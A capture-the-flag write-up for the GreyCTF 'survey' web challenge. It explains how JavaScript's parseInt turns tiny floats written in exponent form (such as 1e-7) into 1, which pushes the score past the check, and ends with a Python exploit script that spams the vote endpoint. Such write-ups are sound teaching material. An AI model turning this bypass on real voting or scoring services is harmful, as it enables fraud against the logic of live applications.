Greyctf Survey Writeup
Intro
- Recently I have participated in Grey Cat The Flag as a member in F1ag dot txt, and I encountered some questions which are quite interesting ( even though some of the question I did not actually manage to solve them ). One of them is greyctf survey
0x01
Source code:
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
app.post('/vote', async (req, res) => {
const {vote} = req.body;
if(typeof vote != 'number') {
return res.status(400).json({
"error": true,
"msg":"Vote must be a number"
});
}
if(vote < 1 && vote > -1) {
score += parseInt(vote);
if(score > 1) {
score = -0.42069;
return res.status(200).json({
"error": false,
"msg": config.flag,
});
}
return res.status(200).json({
"error": false,
"data": score,
"msg": "Vote submitted successfully"
});
} else {
return res.status(400).json({
"error": true,
"msg":"Invalid vote"
});
}
})
From the source code, we can see that we are able to send data by using post method to the endpoint ‘/vote’. And the data will be in json format: {‘votes’: value}
The value need to be send will have to be in between 1 and -1, and it will be parsed into an integer and will be added to the ‘score’ variable, and once the value of score exceeds 1. It will return with flag
0x02
As such, we can use try to use burp to intercept the packet first and post a random data that is between 1 and -1 . But it turns out that the value it returns us is the exact same.
parseInt() function
In Javascript, the parseInt() function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems)(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt)
It has two parameter(here we only require to use one): String and radix(we do not need use this one at this circumstance)
Tips:
- If the string start with a “0x”, Javascript will interpret it as a hexadecimal number
- If the typeof value is not a string, Javascript will implicitly call the
toString()
to convert it into a string by default.
The parseInt()
will starts parsing from the beginning of the string until it encounters a non-numeric character or reaches the end of the string with whitespace ignoring . If the first non-whitespace character is not numeric character, plus or negative. It will return a value of NaN.
For instance:
1
2
3
console.log(parseInt('123abc'))//123
console.log(parseInt(' 1'))//1
console.log(parseInt('a'))//NaN
Similarly, if the value is a decimal(float), it will return the number before decimal point, as ‘.’ is considered as non-numeric
1
console.log(parseInt(0.05))//0
It will return a value of 0, and that explains why the score remain exact same why we post a value(-1 < value < 1), as it will be parsed to 0.
0x03
Standard form
However, in javascript, when a number has more than 6 decimal places, it will automatically transformed into standard form.
For instance:
1
console.log(0.0000001)//1e-7
Therefore, back to the parseInt()
function again, once we post a value that exceeds 6 decimals places, parseInt()
lt will only parse the part of the string before the “e” character:
For instance:
1
0.0000001 -> 1e-7
The first number that parseInt()
will parse will be 1 and end before the “e” character
As such, we can use this and post a data that is more than 6 decimal places.
By doing it, we can find the value changing, and by doing it twice, we are able to make the score more than 1.
As it exceeds 1, it returns us with the flag.
0x04
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
exp.py
#!/usr/bin/python3
import requests
import json
def solve():
try:
# url
url = 'http://challs.nusgreyhats.org:33334/vote'
# header
header = {
"Content-Type": "application/json; charset=utf-8"
}
# payload
payload = '''
{"vote":0.0000000000000000001}
'''
reponse = requests.post(url, data=payload,headers=header)
# if the score still do not exceeds 1
# flag format: "grey{...}"
while "grey{" not in reponse.text:
reponse = requests.post(url, data=payload,headers=header)
# flag
flag = json.loads(reponse.text)['msg']
print(flag)
except Exception as e:
print(e)
if __name__ == "__main__":
solve()
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt http://t.csdnimg.cn/EU6uo http://t.csdnimg.cn/yGCjd